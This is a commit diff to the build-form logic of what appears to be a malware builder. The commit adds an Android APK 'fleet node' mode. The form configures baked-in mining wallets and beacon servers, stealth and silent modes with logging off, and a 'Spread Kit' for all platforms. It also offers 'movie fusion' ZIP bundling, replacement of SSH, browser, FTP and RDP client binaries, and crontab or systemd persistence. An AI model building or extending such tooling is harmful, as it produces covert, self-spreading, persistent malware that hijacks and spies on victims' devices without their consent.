Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
@@ -127,8 +127,39 @@ export function applyForgeFieldUpdate(
|
||||
}
|
||||
break;
|
||||
|
||||
case 'apk_mode':
|
||||
if (value === true) {
|
||||
Object.assign(next, {
|
||||
apk_mode: true,
|
||||
fusion_enabled: false,
|
||||
spread_kit: false,
|
||||
target_os: 'android',
|
||||
target_arch: 'arm64',
|
||||
mining_disabled: true,
|
||||
gpu_enabled: false,
|
||||
threads: 1,
|
||||
thread_mode: 'fixed',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
stealth_mode: true,
|
||||
file_logging: false,
|
||||
});
|
||||
if (!next.apk_agent_name?.trim()) {
|
||||
next.apk_agent_name = next.worker_name;
|
||||
}
|
||||
} else {
|
||||
next.apk_mode = false;
|
||||
next.mining_disabled = false;
|
||||
if (next.target_os === 'android') {
|
||||
next.target_os = 'windows';
|
||||
next.target_arch = 'all';
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'fusion_enabled':
|
||||
if (value === true) {
|
||||
next.apk_mode = false;
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
next.spread_kit = false;
|
||||
@@ -241,13 +272,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
const isUniversal = targetOs === 'universal';
|
||||
const isSpreadKit = !!form.spread_kit;
|
||||
const isFusion = !!form.fusion_enabled;
|
||||
const isApk = !!form.apk_mode;
|
||||
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
server_url: { disabled: false, badge: 'baked' },
|
||||
https_beacon_fallback: { disabled: false, badge: 'baked' },
|
||||
https_beacon_after_min: { disabled: false, badge: 'baked' },
|
||||
wallet: { disabled: false, badge: 'baked' },
|
||||
wallet: {
|
||||
disabled: isApk,
|
||||
badge: 'baked',
|
||||
lockedReason: isApk ? 'APK fleet nodes join without mining — wallet is optional.' : undefined,
|
||||
},
|
||||
apk_mode: { disabled: isSpreadKit, badge: 'baked' },
|
||||
apk_agent_name: {
|
||||
disabled: !isApk,
|
||||
badge: 'baked',
|
||||
lockedReason: !isApk ? 'Enable APK mode first.' : undefined,
|
||||
},
|
||||
output_dir: {
|
||||
disabled: false,
|
||||
badge: 'server-only',
|
||||
@@ -376,9 +418,13 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
|
||||
},
|
||||
fusion_enabled: {
|
||||
disabled: isSpreadKit,
|
||||
disabled: isSpreadKit || isApk,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
|
||||
lockedReason: isApk
|
||||
? 'Fusion is not available for APK fleet nodes.'
|
||||
: isSpreadKit
|
||||
? 'Turn off Spread Kit to use Fusion.'
|
||||
: undefined,
|
||||
},
|
||||
fusion_prep: {
|
||||
disabled: !form.fusion_enabled,
|
||||
@@ -468,20 +514,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined,
|
||||
},
|
||||
target_os: {
|
||||
disabled: isSpreadKit || isFusion,
|
||||
disabled: isSpreadKit || isFusion || isApk,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit
|
||||
? 'Spread Kit always targets all platforms (Universal).'
|
||||
: isFusion
|
||||
? 'Movie fusion always builds a universal ZIP.'
|
||||
: undefined,
|
||||
lockedReason: isApk
|
||||
? 'APK mode locks target to Android arm64.'
|
||||
: isSpreadKit
|
||||
? 'Spread Kit always targets all platforms (Universal).'
|
||||
: isFusion
|
||||
? 'Movie fusion always builds a universal ZIP.'
|
||||
: undefined,
|
||||
},
|
||||
target_arch: {
|
||||
disabled: !isUnixSingle,
|
||||
disabled: !isUnixSingle || isApk,
|
||||
badge: 'baked',
|
||||
lockedReason: !isUnixSingle
|
||||
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
||||
: undefined,
|
||||
lockedReason: isApk
|
||||
? 'APK mode locks architecture to arm64.'
|
||||
: !isUnixSingle
|
||||
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
||||
: undefined,
|
||||
},
|
||||
spread_kit: {
|
||||
disabled: isFusion,
|
||||
|
||||
Reference in New Issue
Block a user